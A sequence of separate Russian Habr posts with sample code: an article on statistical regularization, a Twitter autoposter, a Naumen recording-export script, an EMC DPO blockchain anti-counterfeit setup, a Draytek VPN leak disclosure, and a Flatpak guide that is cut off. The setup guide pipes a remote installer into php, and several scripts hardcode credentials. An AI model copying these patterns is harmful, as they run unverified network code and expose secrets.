Для получения матриц, мы используем наш функциональный базис, но понятно дело матрицы могут быть получены каким угодно путем.
```
cubicSplines = CubicSplines(y, boundary='dirichlet')
omega = cubicSplines.omega(2)
Kmn = cubicSplines.discretizeKernel(kernel,y)
```
Решаем матричное уравнение:
```
model = GaussErrorMatrixUnfolder(omega)
result = model.solve(Kmn, f, sig)
```
Строим график:
```
phir = lambda x: sum([p*bf(x) for p, bf in zip(result.phi,cubicSplines.basisFun)])
plt.plot(x,phir(x))
plt.plot(x,phi(x));
```
#### Julia
Как мы упоминали, для дальнейшего развития методики требуется продвинутое Монте-Карло интегрирование. Мы могли бы использовать какой-либо модуль на Python (например, мы работали с PyMC3), однако мы, помимо прочего, участвуем в совместном проекте с институтом Макса Планка в Мюнхене.
Этот проект называется [Bayesian Analysis Toolkit](https://github.com/bat/BAT.jl). Его цель — создание фреймворка с инструментами для байесовских методов анализа, в первую очередь включая инструменты для MCMC. Сейчас команда работает над второй версией фреймворка, которая пишется на Julia (первая написана на плохом C++). Одна из задач нашей группы — продемонстрировать возможности этого фреймворка на примере статистической регуляризации, поэтому мы написали [реализацию на Julia](https://github.com/mipt-npm/TurchinReg.jl).
```
using PyCall
include("../src/gauss_error.jl")
include("../src/kernels.jl")
a = 0.
b = 6.
function phi(x::Float64)
mu1 = 1.
mu2 = 4.
n1 = 4.
n2 = 2.
sig1 = 0.3
sig2 = 0.5
norm(n, mu, sig, x) = n / sqrt(2 * pi*sig^2) * exp(-(x - mu)^2 / (2 * sig^2))
return norm(n1, mu1, sig1, x) + norm(n2, mu2, sig2, x)
end
x = collect(range(a, stop=b, length=300))
import PyPlot.plot
myplot = plot(x, phi.(x))
savefig("function.png", dpi=1000)
```
На этот раз используем другое ядро, будем брать не интегрирующую ступеньку, а свертку с гауссом, которая фактическим наводит некий «блюр» на наши данные:
```
function kernel(x::Float64, y::Float64)
return getOpticsKernels("gaussian")(x, y)
end
convolution = y -> quadgk(x -> kernel(x,y) * phi(x), a, b, maxevals=10^7)[1]
y = collect(range(a, stop = b, length=50))
ftrue = convolution.(y)
sig = 0.05*abs.(ftrue) +[0.01 for i = 1:Base.length(ftrue)]
using Compat, Random, Distributions
noise = []
for sigma in sig
n = rand(Normal(0., sigma), 1)[1]
push!(noise, n)
end
f = ftrue + noise
plot(y, f)
```
Аналогично возьмем базис сплайнов с закрепленными концами:
```
basis = CubicSplineBasis(y, "dirichlet")
Kmn = discretize_kernel(basis, kernel, y)
model = GaussErrorMatrixUnfolder([omega(basis, 2)], "EmpiricalBayes", nothing, [1e-5], [1.], [0.5])
result = solve(model, Kmn, f, sig)
phivec = PhiVec(result, basis)
x = collect(range(a, stop=b, length=5000))
plot(x, phi.(x))
phi_reconstructed = phivec.phi_function.(x)
phi_reconstructed_errors = phivec.error_function.(x)
plot(x, phi_reconstructed)
fill_between(x, phi_reconstructed - phi_reconstructed_errors, phi_reconstructed + phi_reconstructed_errors, alpha=0.3)
```
##### Пример на реальных данных
В качестве примера анализа реальных данных мы восстановим спектр рассеяния электронов на водородно-дейтериевой смеси. В опыте измерялся интегральный спектр (то есть число электронов выше определенной энергии), а нам нужно восстановить дифференциальный спектр. Для этих данных первоначально был восстановлен спектр с помощью фитирования, так что у нас есть основа для проверки корректности нашего алгоритма.
Вот так выглядит исходный интегральный спектр:
А так — результат восстановления:
Анализ с помощью фита имеет три основных недостатка:
* Параметрическая форма для подгонки не имеет достаточной физической основы, поэтому результат является субъективным в отношении параметризации.
* Выбранная параметризация имеет слишком много параметров и дает очень тесные корреляции между параметрами, делая результаты подгонки нестабильными.
* Не существует четкого способа определения ошибок для любой заданной точки восстановленной функции.
Статистическая регуляризация позволяет избежать всех этих проблем и обеспечивает модельнонезависимый результат с ошибками измерения. Решение, полученное регуляризацией, хорошо согласуется с фитирующей кривой. Обратите внимание на два маленьких пика при 25 и 30 эВ. Известно, что пик при 25 эВ образуется при двойном рассеянии, и он был восстановлен фитом, поскольку в фитирующей функции он был явно задан. Пик 30 эВ может быть статистической аномалией (ошибки довольно велики в этой точке), или, возможно, указывает на наличие дополнительного диссоциативного рассеяния.
Выводы и анонс следующей части
------------------------------
Мы рассказали вам о полезной методике, которую можно адаптировать под многие задачи анализа данных (в том числе машинного обучения), причем получить честную «подгонку» ответа — наиболее рациональное решение уравнение в условиях неопределенности, вызванной ошибками измерения. Как приятный бонус мы получаем значения для ошибки решения. Желающие участвовать в развитии или применять метод статистической регуляризации, могут внести свой вклад в виде кода на Python, Julia или на чем-нибудь еще.
В следующей части мы поговорим о:
* Использовании MCMC
* Разложении Холецкого
* В качестве практического примера рассмотрим применение регуляризации для обработки сигнала с модели орбитального детектора протонов и электронов
Ссылки
------
* [Оригинальная работа Турчина](https://drive.google.com/file/d/1fDK8EkDV5Ac3aWy_pRB1aU2HPkiGQImh/view?usp=sharing)
* [Диссертация по применению регуляризации в атмосферной физике](https://drive.google.com/file/d/1VcRmF9h8fhyRq88bpttE5YzX5D-mQpdq/view?usp=sharing)
* [Наша публикация посвященная применению статистической регуляризации](https://www.epj-conferences.org/articles/epjconf/abs/2018/12/epjconf_ayss2018_07005/epjconf_ayss2018_07005.html)
* [Реализация на Python](https://github.com/mipt-npm/statreg-py)
* [Реализация на Julia](https://github.com/mipt-npm/StatReg.jl)
* [Реализация на АЛГОЛ-60](https://drive.google.com/file/d/1Ny5JyX2gZZmqOxei5N_bgeCie84l3826/view?usp=sharing), для любителей археологии
* [Bayesian analysis toolkit](http://mpp.mpg.de/bat)
Автор статьи: [Михаил Зелёный](https://research.jetbrains.org/researchers/gama_sennin), исследователь [лаборатории методов ядерно-физических экспериментов](https://research.jetbrains.org/groups/npm) в [JetBrains Research](https://research.jetbrains.org/). | https://habr.com/ru/post/497820/ | null | ru | null |
# Автоматическая отсылка анонсов в твиттер
Недавно, при работе над проектом на Джанго, понадобилось автоматически отправлять в твиттер заголовок и укороченную ссылку для публикуемых статей от имени пользователя.
Как оказалось, делается это совсем несложно.
Я сразу решил не изобретать велосипед и воспользоваться одной из доступных библиотек для работы с твиттером. Больше всего мне глянулся [twython](http://github.com/ryanmcgrath/twython/commits/master). Импортируем его в models.py:
> `Copy Source | Copy HTML1. import twython.core as twython`
Вот упрощенная модель публикаций. Я оставил только самый минимум полей:
> `Copy Source | Copy HTML1. class Post(models.Model):
> 2. title = models.CharField(max\_length=100)
> 3. media = models.TextField()
> 4. published = models.BooleanField(default=False)
> 5. tweeted = models.BooleanField(default=False, editable=False)
> 6.
> 7. def \_\_unicode\_\_(self):
> 8. return u'%s' % **self**.title
> 9.
> 10. @models.permalink
> 11. def get\_absolute\_url(self):
> 12. return ('news.views.news\_view', [**str**(**self**.id)])`
У модели есть два поля — published для того, чтобы не «твитить» черновики и tweeted, чтобы каждый пост анонсировался только один раз.
Теперь сам процесс отправки анонса:
> `Copy Source | Copy HTML1. def post\_to\_twitter(sender, instance, \*\*kwargs):
> 2. """
> Отправляем анонс в тви если пост опубликован но еще не затвитен
> """
> 3. if instance.published and not instance.tweeted:
> 4. try:
> 5. twitter = twython.setup(username="TWITTER\_USER", password="TWITTER\_PASSWORD")
> 6. long\_url = "http://%s%s" % (Site.objects.get\_current(), instance.get\_absolute\_url())
> 7. short\_url = twitter.shortenURL(long\_url)
> 8. twi\_message = instance.title + " " + short\_url
> 9. try:
> 10. twitter.updateStatus(twi\_message)
> 11. Post.objects.**filter**(pk=instance.pk).update(tweeted = True)
> 12. except TwythonError:
> 13. pass
> 14. except AuthError:
> 15. pass`
Процесс отсылки в твиттер логично повесить на событие post\_save:
> `post_save.connect(post_to_twitter, sender=Post)`
>
>
Вот и все. Можно добавить всяких полезностей по-вкусу, но и в таком виде вполне себе работает. | https://habr.com/ru/post/88811/ | null | ru | null |
# Небольшой скрипт для Naumen Phone Outsourcing
Есть задача, в начале каждого месяца выгружать из недр Naumen Phone Outsourcing (для простоты, буду звать его далее NPO) записи разговоров за предыдущий месяц с сортировкой по проектам и по дням месяца. Как это реализовать?
В NPO всё это добро хранится по адресу "/opt/naumen/nauphone/spool/naubuddyd/mp3/YYYY/MM/". Единственное «но» — всё это хранится в одной куче. На помощь нам приходит таблица ***tbl\_gl\_call\_info*** в которой мы выделим названия файлов с записями разговоров по конкретному проекту (для этого есть поле ***sessionid*** для названия файла, к которому мы прибавим расширение ".wav", и поле ***parentuid*** в котором хранится ID проекта). Нужный нам промежуток времени хранится в поле ***incomingtime***. При этом нас будут интересовать только звонки, на которые ответил оператор (*finalstage='operator'*) или которые оператор переадресовал (*finalstage='redirect'*). Всё делается одним простым select'ом:
```
select distinct a.sessionid||'.wav' from tbl_gl_call_info a where a.parentuid='тут_пишем_project_ID' and
to_number(to_char(a.incomingtime, 'YYYY'))=2013 and
to_number(to_char(a.incomingtime, 'MM'))=04 and
(a.finalstage='operator' or a.finalstage='redirect')
```
На выходе скрипта получаем нужный список файлов. Теперь всё, что нам остаётся — это найти эти файлы и записать в нужную нам директорию.
Тут включается моя природная лень, и я решаю доверить всю рутинную работу компьютеру. Для начала создадим файл в котором будем сопоставлять название проекта с его ID в системе NPO:
```
Project_1 project1code
Project_2 project2code
```
и оставим в конце пустую строку.
Далее доверим всю работу этому скрипту, указывая при запуске год и месяц, за который нужно собрать файлы:
```
#!/bin/bash
##################################################
# (cc) 2013 by Sergey Kirgizov (skirgizov@ya.ru) #
##################################################
# Начальная проверка вводимых аргументов
year=`date +%Y`
if [[ ! "$1" || ! "$2" ]]; then
echo "Использование: report.sh YYYY MM"
exit
fi
if [[ "$1" -lt "2012" || "$1" -gt "$year" ]]; then
echo "Год должен быть в промежутке от 2012 до $year"
exit
fi
if [[ "$2" -lt "01" || "$2" -gt "12" ]]; then
echo "Вы указали неверный месяц. Используйте число от 01 до 12"
exit
fi
# Задаём переменные
wdir="/home/user/report" # Рабочая директория
user=user # имя пользователя для доступа к базе данных NPO
pass=password # пароль
dbase="url.to.database:port/databasename" # URL и название базы данных
conf_lines=`cat $wdir/etc/projects.conf | wc -l`
let "conf_lines += 1" # wc упорно выдаёт количество строк на одну меньше, видать с 0 считает.
i=0
# Очищаем результаты предыдущей работы
rm -rf $wdir/data/*
rm -rf $wdir/export/*
# Готовим списки файлов
while [ "$i" -lt "$conf_lines" ]
do
let "i += 1"
project=`cat $wdir/etc/projects.conf | head -n$i | tail -n1 | awk '{print $1}'`
code=`cat $wdir/etc/projects.conf | head -n$i | tail -n1 | awk '{print $2}'`
echo "select distinct a.sessionid||'.wav' from tbl_gl_call_info a where a.parentuid='$code'" > $wdir/data/waw.sql
echo "and to_number(to_char(a.incomingtime, 'YYYY'))=$1 and to_number(to_char(a.incomingtime, 'MM'))=$2" >> $wdir/data/waw.sql
echo "and (a.finalstage='operator' or a.finalstage='redirect');" >> $wdir/data/waw.sql
echo "exit;" >> $wdir/data/waw.sql
sqlplus -S $user/$pass@$dbase @$wdir/data/waw.sql | grep nauss > $wdir/data/"$project".lst # Используем "grep nauss", чтобы убрать лишний выхлоп sqlplus'a
done
i=1
# Копируем файлы
while [ "$i" -lt "$conf_lines" ]
do
project=`cat $wdir/etc/projects.conf | head -n$i | tail -n1 | awk '{print $1}'`
code=`cat $wdir/etc/projects.conf | head -n$i | tail -n1 | awk '{print $2}'`
FILES=`cat $wdir/data/"$project".lst`
mkdir $wdir/export/$project
echo -n "По проекту $project..."
n=0
for file in $FILES
do
let "n += 1"
find /opt/naumen/nauphone/spool/naubuddyd/mp3/$1/$2 -name $file -exec cp {} --parents --target-directory=$wdir/export/$project/ \;
done
mv $wdir/export/$project/opt/naumen/nauphone/spool/naubuddyd/mp3/$1/$2/* $wdir/export/$project/ # Перемещаем файлы по дням месяца вверх директории проекта
rm -rf $wdir/export/$project/opt # И удаляем лишнее
echo " $n файлов."
let "i += 1"
done
```
Для полноты картины создадим скриптик, который будет раз в месяц запускать предыдущий скрипт с нужными параметрами, а результат отсылать нам на почту:
```
#!/bin/bash
# Задаём переменные
wdir=/home/user/report # Рабочий каталог
year=`date +%Y` # Текущий год
month=`date --date "1 month ago" +%m` # Предыдущий месяц
SUBJECT="Выгрузка за $month месяц." # Тема письма
EMAIL="mail@mailserver.com" # Кому (через запятую)
EMAILMESSAGE="$wdir/msg.txt" # Путь к файлу с текстом письма
# Работаем
echo "Выгрузка за $month месяц $year года." > $EMAILMESSAGE
$wdir/report.sh $year $month >> $EMAILMESSAGE # Запускаем скрипт отчёта и результат пишем в текст письма
/bin/mail -s "$SUBJECT" "$EMAIL" < $EMAILMESSAGE # отправляем письмо
```
И скормим его cron'u
```
0 1 1 * * /home/user/report/report.sh
```
Вот и всё. Надеюсь, кому-нибудь пригодится. | https://habr.com/ru/post/178799/ | null | ru | null |
# EMC DPO: как защитить свои товары от подделок
Представим ситуацию: вы приходите в магазин, скажем, дорогих часов, покупаете понравившийся товар, с нетерпением идете домой, чтобы открыть заветную коробочку, открываете ее, и, вдруг, выясняется, что купленный товар — дешевая подделка.
Знакомо? Что делать и кто виноват? Доверие к производителю часов у вас начинает резко падать. А разве виноват произоводитель часов, что его продукцию подделывают? Спорный вопрос, мне кажется. Так или иначе, очевидно, что контрафакт причиняет огромные репутационные потери и убытки легальным производителям.
Решением может быть использование продукта EMC DPO и блокчейна Emercoin.
Как это может работать:
Представим, вы приходите всё в тот же магазин дорогих часов, выбираете товар, но перед его покупкой видите на коробке QR-код с сопроводительной надписью что-то вроде «отсканируй меня, чтобы убедиться, что я не подделка». Вы сканируете QR-код, который отправляет вас на сайт производителя, где открывается, непосредственно, информация существует ли товар с таким серийным номером и был ли он ранее куплен кем-то другим:
а, так же, краткое описание о товаре и его производителе:
Так же, можно увидеть, что какой-то товар уже кто-то ранее купил и активировал (в этом случае, можно однозначно сделать вывод, что продаваемый товар в магазине либо уже был в употреблении, либо же подделка):
Итак, допустим, вы в магазине убедились, что товар не подделка и не был ранее в употреблении. Вы его приобретаете и приходите домой. Распаковываете и видите внутри коробки другой QR-код, скрытый за светонепроницаемой защитной пленкой с сопроводительной надписью что-то вроде «отсканируй меня для активации товара». Снимаете пленку, сканируете QR-код, нажимаете «Активировать товар»:
затем, вводите (по желанию) свое имя и отзыв к товару, а, так же, задаете пароль (с помощью которого вы позже сможете 1 раз изменить свой отзыв к товару):
И, тогда, минут через 10, информация о покупке этого товара будет публично доступной как на сайте производителя, так и в блокчейне Emercoin, где его может просмотреть любой желающий:
```
{
"name": "dpo:Your Company:DEMO-1001:0",
"value": "Item=Name of your product\nDescription=The description of your product\nPhoto=http://www.blockchainengine.org/wp-content/uploads/2016/04/Smart4.png\nOTP=bb680a8bcae3e5be23f3c9ed4d3d0e97d42cebe561f53a5a7502e2d150a937fb\nOwner=Garrett\nSecret=3aff84a0afcd7201b112652b8692975bcfdeb0060de5efbdaeb16d806f62848d\nComment=Cool !\nUpdated=1",
"txid": "ee1ed730e16c41c7a42b3b87bf5bd5936b2e69a6448f510e08dd70d40bf57c1e",
"address": "ERGPQNKpmJNaXeaq6ZDYwgghQDMBQGVema",
"expires_in": 255036,
"expires_at": 471574,
"time": 1488110346
}
```
Вы можете сказать: «Причем здесь блокчейн? Такое вполне можно сделать централизованно производителем товаров!». Да, действительно, можно. Но использование децентразизованного хранилища в виде блокчейна обеспечит полную прозрачность над действиями производителей. Так, у них не получится выпустить неучтенный «левый» товар — всё будет публично и открыто. Если для производителя важно быть открытым и честным — то это, однозначно, выбор в сторону решения EMC DPO на базе блокчейна Emercoin.
**Развертывание EMC DPO на вашем сервере**
------------------------------------------
В этом разделе мы рассмотрим как развернуть и настроить EMC DPO на вашем сервере с ОС Ubuntu 16.04 LTS (amd64). Но, так же, поддерживаются и другие ОС: Ubuntu 14.04 LTS (amd64), Debian 8 (amd64, armhf), RHEL/CentOS 7 (x86\_64).
### 1. Установка службы Emercoind
Воспользуемся стандартными средствами для установки Emercoind:
```
apt-key adv --keyserver keyserver.ubuntu.com --recv B58C58F4
add-apt-repository 'deb http://download.emercoin.com/ubuntu xenial emercoin'
apt update && apt -y install emercoin
```
Убедимся, что emercoind установился, работает и начинает скачивать блокчейн:
```
emc getinfo
```
```
{
"version": 60000,
"protocolversion": 70002,
"walletversion": 60000,
"balance": 1.090000,
"newmint": 0.000000,
"stake": 0.000000,
"blocks": 216541,
"moneysupply": 39554119.651462,
"timeoffset": 0,
"connections": 8,
"proxy": "",
"ip": "0.0.0.0",
"difficulty": 206196413.012576,
"testnet": false,
"keypoololdest": 1487850355,
"keypoolsize": 501,
"mintonly": false,
"unlocked_until": 0,
"paytxfee": 0.010000,
"relayfee": 0.000100,
}
```
Дожидаемся, пока блокчейн скачается. Отправляем на кошелек некоторое количество монет (из расчета, примерно, 0.12 EMC на одну операцию по созданию/обновлению инфо в блокчейне).
Создать новый адрес кошелька можно командой:
```
emc getnewaddress
```
### 2. Создание NVS записей
Необходимо создать записи в NVS блокчейна для производителя (вендора) и, непосредственно, для товаров (отдельная запись для каждой единицы товара).
#### 2.1. Создание главной записи вендора
Определим начальные сведения. Пусть:
* Производитель (вендор) называется «Your Company»
* Логотип вендора находится по ссылке: `http://emercoin.com/images/main-logo.png`
* Также, мы хотим создать дополнительное поле «Description» и поместить в него сведения: «The description of your Company»
* Запись будет активной в течение 730 дней
Тогда, такую запись можно создать следующей командой:
```
emc name_new "dpo:Your Company" "Name=Your Company
Description=The description of your Company
Logo=http://emercoin.com/images/main-logo.png" 730
```
После выполнения этой команды, получаем код Transaction ID, если всё прошло успешно.
Дожидаемся попадания этой записи в блокчейн. Для этого, выполняем команду:
```
emc name_show "dpo:Your Company"
```
после попадания в блокчейн, мы должны увидеть что-то подобное:
```
{
"name": "dpo:Your Company",
"value": "Name=Your Company\nDescription=The description of your Company\nLogo=http://emercoin.com/images/main-logo.png",
"txid": "b11384b162e2d3d2900d10e942c6ae3aa8bca94801dc119677685d68d35c9712",
"address": "ERGPQNKpmJNaXeaq6ZDYwgghQDMBQGVema",
"expires_in": 127749,
"expires_at": 343616,
"time": 1487856529
}
```
запоминаем значение поля «address» — это будет основным адресом, от имени которого должны будут созданы все последующие записи продуктов.
Дополнительно, мы должны придумать «соль» паролей пользователей, чтобы осложнить задачу злоумышленникам по перебору паролей — произвольный набор символов. Пусть для примера он будет "`johNah2koosie3iG`".
#### 2.2. Создание записей продуктов
Определим начальные сведения. Пусть:
* Товар называется «Name of your product»
* Фото товара находится по ссылке: `http://www.blockchainengine.org/wp-content/uploads/2016/04/Smart4.png`
* Также, мы хотим создать дополнительное поле «Description» и поместить в него сведения: «The description of your product»
* Для начала, мы хотим создать 100 серийных номеров товара: от SN-55001 до SN-55100
* Записи каждого товара будут активными в течение 730 дней
Тогда, такие записи можно создать при помощи исполнения следующего скрипта (предварительно установив php-cli и pwgen):
```
#!/bin/bash
# Source: https://github.com/snvakula/svtools/blob/master/emcdpo-genbulk.sh
URL="http://emcdpo.info/dpo"
SALT="johNah2koosie3iG"
ADDRESS="ERGPQNKpmJNaXeaq6ZDYwgghQDMBQGVema"
VENDOR="Your Company"
ITEM="Name of your product"
PHOTO="http://www.blockchainengine.org/wp-content/uploads/2016/04/Smart4.png"
OTHERS="Description=The description of your product"
PREFIX="SN-"
FIRST=55001
LAST=55100
DAYS=730
while [ $FIRST -le $LAST ]; do
echo "Creating serial $PREFIX$FIRST:"
SECRET=$(pwgen 8 1)
OTP=$(php -r "echo(hash('sha256', md5('$SECRET'.'$SALT')));")
echo " * SECRET: $SECRET"
echo " * OTP: $OTP"
echo " * Public URL: $URL/key/$PREFIX$FIRST"
echo " * Private URL: $URL/key/$PREFIX$FIRST?otp=$SECRET"
COUNT=0
while emc name_show "dpo:$VENDOR:$PREFIX$FIRST:$COUNT" >/dev/null 2>&1
do
let COUNT=COUNT+1
done
echo " * NVS Record: dpo:$VENDOR:$PREFIX$FIRST:$COUNT"
VALUE="Item=$ITEM\nPhoto=$PHOTO\n$OTHERS\nOTP=$OTP"
VALUE=$(echo -e "$VALUE")
echo -n " * Transaction ID: "
emc name_new "dpo:$VENDOR:$PREFIX$FIRST:$COUNT" "$VALUE" $DAYS $ADDRESS
echo
let FIRST=FIRST+1
done
```
где URL — веб-адрес развертывания EMC DPO.
Результатом исполнения этого скрипта станут создание NVS записей (если вы сделали всё правильно) с выводом данных в консоль вида:
```
Creating serial SN-55001:
* SECRET: maifeB32
* OTP: bb680a8bcae3e5be23f3c9ed4d3d0e97d42cebe561f53a5a7502e2d150a937fb
* Public URL: http://emcdpo.info/dpo/key/SN-55001
* Private URL: http://emcdpo.info/dpo/key/SN-55001?otp=maifeB32
* NVS Record: dpo:Your Company:SN-55001:0
* Transaction ID: 7e1c5a131887a08971225790047bf9e8asq3ca5f947beb9ba0ced6541931939f
```
Сохраняем Public URL и Private URL для каждого отдельного серийного номера, делаем из них QR-коды и размещаем их: один на внешней стороне коробки, а второй, соответственно, — внутри коробки под защитной пленкой.
### 3. Развертывание веб-приложения EMC DPO
Устанавливаем зависимости и активируем нужные модули:
```
apt install curl git apache2 libapache2-mod-php php-xml
a2enmod rewrite
```
Клонируем git-репозитарий в /var/www:
```
cd /var/www
git clone https://github.com/Emercoin/emcdpo
```
Устанавливаем composer и его компоненты:
```
cd /var/www/emcdpo/engine
curl -sS https://getcomposer.org/installer | php
php composer.phar install --prefer-dist
```
Назначаем владельцем папки emcdpo пользователя www-data (или любого другого, из-под которого веб-сервер будет исполнять код):
```
chown -R www-data:www-data /var/www/emcdpo/engine
```
Прописываем наши параметры в файл /var/www/emcdpo/engine/src/settings.php:
```
// General Settings
CONST DPO_VENDOR = 'Your Company';
CONST SALT = 'johNah2koosie3iG';
CONST NVS_DAYS = 730;
CONST ALLOWED_UPDATES = 2;
CONST SEARCH_DEPTH = 10;
// Emercoin RPC Settings
CONST RPC_TYPE = "https";
CONST RPC_USERNAME = "emccoinrpc";
CONST RPC_PASSWORD = "RahRoh6ca8chaf6naji9dfaazaeghaidiLooyePi4aeQuah9lai4Eij5gotoocha";
CONST RPC_HOST = "localhost";
CONST RPC_PORT = '6662';
```
Учетные данные для подключения к Emercoin RPC можно посмотреть в файле /etc/emercoin/emercoin.conf
Далее, настраиваем веб-сервер. Для этого, создаем конфигурационный файл Apache /etc/apache2/sites-available/emcdpo.conf, пример которого:
```
Alias /dpo /var/www/emcdpo/engine/web
Options -MultiViews
RewriteEngine On
RewriteBase /dpo
RewriteCond %{REQUEST\_FILENAME} !-d
RewriteCond %{REQUEST\_FILENAME} !-f
RewriteRule ^ index.php [QSA,L]
```
Активируем конфигурацию и перезапускаем Apache:
```
a2ensite emcdpo
systemctl restart apache2
```
Теперь EMC DPO доступен по адресу: `http://YOURHOSTNAME/dpo` и готов к использованию. | https://habr.com/ru/post/322696/ | null | ru | null |
# «Фича» в IPSEC реализации VPN роутеров Draytek
[Draytek](http://www.draytek.com) — относительно новая в российском сегменте компания, занимающая нишу недорогих компактных роутеров All-in-one. [Здесь](http://www.thg.ru/network/draytek_vigor_2820vn/index.html) и [здесь](http://www.thg.ru/network/draytek_vigor_2910vg/index.html) можно почитать обзор двух, наиболее популярных моделей роутеров этой компании серий 2820 и 2910 (которые, кстати, позиционируются как «security firewall»). Среди остальных преимуществ данных роутеров, наиболее вкусным является аппаратная поддержка шифрования (AES/DES/3DES) и аутентификации (MD5, SHA-1), так что можно, вроде бы, настроить VPN между точками и спать спокойно. Но не всё так просто, как кажется.
Собираем простой стенд — 1 шлюз Draytek, 1 VPN сервер на фряхе (подключил напрямую):
Данные
`Draytek 2910:
LAN: 192.168.9.1/24
WAN: 99.99.99.99/24
GW: 99.99.99.100 (обязательно)
FreeBSD:
LAN: 192.168.3.32/24
WAN: 99.99.99.100/24`
В качестве сервера я взял FreeBSD с security/racoon2. Поднимаем VPN, через какое либо время опускаем spmd (отключаем racoon2 на фряхе), пингуем внутренний адрес фряхи (предварительно запустив tcpdump) с Draytek'а. Пингуется! О, черт, как такое может быть?
Смоделируем идеальную ситуацию — 2 роутера от прозводителя (2910 и 2820), шлюз посередине (та же фряха с tcpdump'ом):
Данные
`1 Draytek 2910
LAN: 192.168.9.1/24
WAN: 192.168.51.2
GW: 192.168.51.1
2 Draytek 2820
LAN: 192.168.10.1/24
WAN: 192.168.52.2
GW: 192.168.52.1`
3 FreeBSD gw
1 WAN 192.168.51.1
2 WAN 192.168.52.1
sysctl: net.inet.ip.forwarding: 1
При отключении VPN канала (допустим упала сеть у провайдера) на 2 роутере, 1 роутер удаляет шифрованный туннель и… начинает транслировать адреса пакетов на внешний интерфейс!
Тестировались Draytek Vigor 2910VG и 2820Vn, поведение одинаково. Думаю все роутеры данных серий подвержены данной уязвимости — **после обрыва туннеля начинается трансляция адресов исходящих пакетов, которые должны подвергаться шифрованию**.
Не смотрите на только ICMP трафик в видео, транслируется весь IP трафик, это видно по http пакетам в конце видео (ноутбук за draytek 2910 [ip адрес 192.168.9.2]).
Производитель предупреждён. Переписка с ним:
> *кому support@draytek.com
>
> дата 27 августа 2010 г. 18:05
>
> тема bug in your routers*
>
>
>
> I found bug in your routers (I think this bug present in other xx routers too).
>
> I create test configuration:
>
> 192.168.3.0/24 | 192.168.1.10 (freebsd) — 192.168.1.2 (router) | 192.168.9.0/24
>
> in left side I use freebsd os with racoon2 port (ipsec-tools too)
>
> Bug is very serious:
>
> when I create vpn tunnel with ESP encryption between hosts and after some time stop spmd (on freebsd), router clear his policies (connection management page is blank) and start NAT 192.168.3.0/24 net traffic to freebsd external interface. All NAT'ed traffic is unencrypted!
>
>
>
> You can download video from [xxx](http://xxx). I attach router (admin without password) and racoon2 config files.
>
>
>
> If you don't answer to this letter until monday, I publish it in bugtrackers.
>
>
> > немного писем
> >
> >
> > > *дата 2 сентября 2010 г. 8:20
> > >
> > > тема Re: [Ticket#2010082810002448] Fwd: bug in your routers*
> > >
> > > Dear Sir,
> > >
> > >
> > >
> > > Thank you for the information.
> > >
> > > Although the current mechanism may violate the standard, it provides flexibility
> > >
> > > for many applications. For example when vpn is up, a public server is accessed
> > >
> > > through a vpn tunnel and routed to the Internet by remote vpn gateway. When vpn
> > >
> > > is down, the same public server can be accessed directly from local wan
> > >
> > > connection. This kind of usage is useful in VoIP implementation.
> > >
> > >
> > >
> > >
> > > > *кому Draytek Support
> > > >
> > > > дата 2 сентября 2010 г. 17:15
> > > >
> > > > тема Re: [Ticket#2010082810002448] Fwd: bug in your routers*
> > > >
> > > >
> > > >
> > > > and how disable it?
> > > >
> > > >
> > > > > *дата 3 сентября 2010 г. 7:31
> > > > >
> > > > > тема Re: [Ticket#2010082810002448] Fwd: bug in your routers*
> > > > >
> > > > >
> > > > >
> > > > > Dear Sir,
> > > > >
> > > > > Sorry this mechanism cannot be changed.
> > > > >
> > > > >
> > > >
> > > >
> > >
> > >
> >
> >
>
>
Вот такие вот финты ушами в ущерб стандартов. А такие финты, как известно, бесследно не проходят. IPSEC — есть очень серьёзный стандарт, гарантирующий защищённость передаваемой информации, а тут такая ~~бага~~ «фича».
P.S. Публикую исключительно потому, что хочу предупредить тех, кто использует эти роутеры в продакшене. | https://habr.com/ru/post/102915/ | null | ru | null |
# Добавляем поддержку Flatpak в Compose Desktop
Те, кто делали мультиплатформенное приложение с помощью Compose Multiplatform, наверное уже сталкивались с тем, в как публиковать приложение. Для Linux на текущий момент доступны следующие форматы: *Deb* - "нативные" пакеты для [Debian](https://www.debian.org/index.ru.html)-подобных дистрибутивов; *Rpm* - такие же пакеты для [Fedora](https://getfedora.org/ru/), RHEL; [*AppImage*](https://appimage.org/) - portable приложения(одним файлом). Недостаток первых двух - заточенность только под одну платформу(Debian и Fedora соответственно), второго - отсутствие пакетного менеджера в абсолютном большинстве дистрибутивов. Негодуя с этого, я решил внедрить compose-приложение в [*Flatpak*](https://flatpak.org/) - пакетный менеджер для *sandboxed* приложений. Sandboxed apps - приложения, которые по умолчанию не имеют доступа к файлам пользователя и другим настройкам. Flatpak дает уверенность, что та или иная функция/бинарник присутствуют в системе и могут быть использованы. Также с помощью [Portals](https://docs.flatpak.org/en/latest/portal-api-reference.html), которые встроены в Flatpak, приложение может безопасно и независимо осуществлять некоторые операции вроде доступа к камере, показа уведомлений и другого. Как вы могли видеть ранее, поддержки Flatpak в Compose Multiplatform нет.
Что нужно установить?
---------------------
* Непосредственно Flatpak. Как установить можно посмотреть [здесь](https://flatpak.org/setup/).
* Flatpak-builder - для сборки flatpak-приложений. Обычно устанавливается так же, как и сам пакетный менеджер.
* Установить `org.freedesktop.Sdk` и `org.freedesktop.Platform` версии `22.08` через flatpak.
Как мы собираемся реализовать поддержку Flatpak?
------------------------------------------------
Так как у Compose Desktop из таргетов нет ничего универсальнее AppImage, то будем использовать его. Он собирается с помощью gradle task `packageAppImage`. Бинарник находится по пути `build/compose/binaries/main/app/[appName]/`, где [appName] - имя проекта/приложения.
В этой папке следующая структура:
```
MyApp
├── bin
│ └── MyApp
└── lib
├── app/
├── libapplauncher.so
├── runtime/
└── MyApp.png
```
В папке bin находится сам бинарник, который мы собираемся запускать. В папке lib находятся "кишки" приложения: app - jar-ники библиотек и ресурсы. `libapplauncher.so` - волшебный файл, соединяющий все внутренности. `runtime` - внутренние библиотеки. `MyApp.png` - иконка приложения(не используется).
Сам бинарник **без папки** **lib/ не запустится!**
Добавляем манифест и иконку
---------------------------
Для любого Flatpak-приложения нужен *манифест*. Аналог в Android-мире - *AndroidManifest.xml*. Он описывает разрешения и основную информацию о приложении. В *Flatpak* для этого используется формат описывания json или yaml.
Создадим файл *src/desktopMain/resources/flatpak/manifest.yml:*
```
app-id: com.company.myapp
runtime: org.freedesktop.Platform
runtime-version: '22.08'
sdk: org.freedesktop.Sdk
command: /app/bin/MyApp
finish-args:
- --share=network
- --socket=x11
- --socket=fallback-x11
- --device=dri
modules:
- name: myapp
buildsystem: simple
build-commands:
- cp -r bin/ /app/bin/
